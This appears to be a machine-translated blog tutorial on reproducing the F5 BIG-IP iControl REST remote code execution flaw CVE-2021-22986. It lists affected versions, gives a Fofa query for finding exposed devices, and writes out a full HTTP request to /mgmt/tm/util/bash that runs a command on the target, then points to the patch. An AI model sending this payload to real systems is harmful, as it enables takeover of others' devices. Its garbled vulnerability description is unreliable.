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This article introduces how to achieve F5 BIG-IP remote code execution vulnerability CVE-2021-22986 reproduction, the content is very detailed, interested friends can refer to, hope to be helpful to you.

F5 BIG-IP

The F5 BIG-IP link controller is used for next-generation WAN link traffic management that maximizes link performance and availability.

Brief introduction of vulnerabilities

F5 BIG-IP has a code execution vulnerability that allows attackers who define authentication to have network access to the iControl REST interface through the BIG-IP administrative interface and their own IP address to execute arbitrary system commands and take control of the target machine.

Affect the version

F5 BIG-IP 16.0.0-16.0.1

F5 BIG-IP 15.1.0-15.1.2

F5 BIG-IP 14.1.0-14.1.3.1

F5 BIG-IP 13.1.0-13.1.3.5

F5 BIG-IP 12.1.0-12.1.5.2

F5 BIG-IQ 7.1.0-7.1.0.2

F5 BIG-IQ 7.0.0-7.0.0.1

F5 BIG-IQ 6.0.0-6.1.0

Loophole recurrence

Fofa search keywords:

Body= "F5 Networks, Inc"

Open the home page as follows:

Construct the request packet and execute any command:

POST / mgmt/tm/util/bash HTTP/1.1Host: 192.168.1.123:8443Connection: closeContent-Length: 39Cache-Control: max-age=0Authorization: Basic YWRtaW46QVNhc1M=X-F5-Auth-Token: Upgrade-Insecure-Requests: 1Content-Type: application/json {"command": "run", "utilCmdArgs": "- c id"}

Repair suggestion

F5 has officially released relevant security updates, and the majority of users need to update to the latest version in time.

Download link:

Https://support.f5.com/csp/article/K02566623

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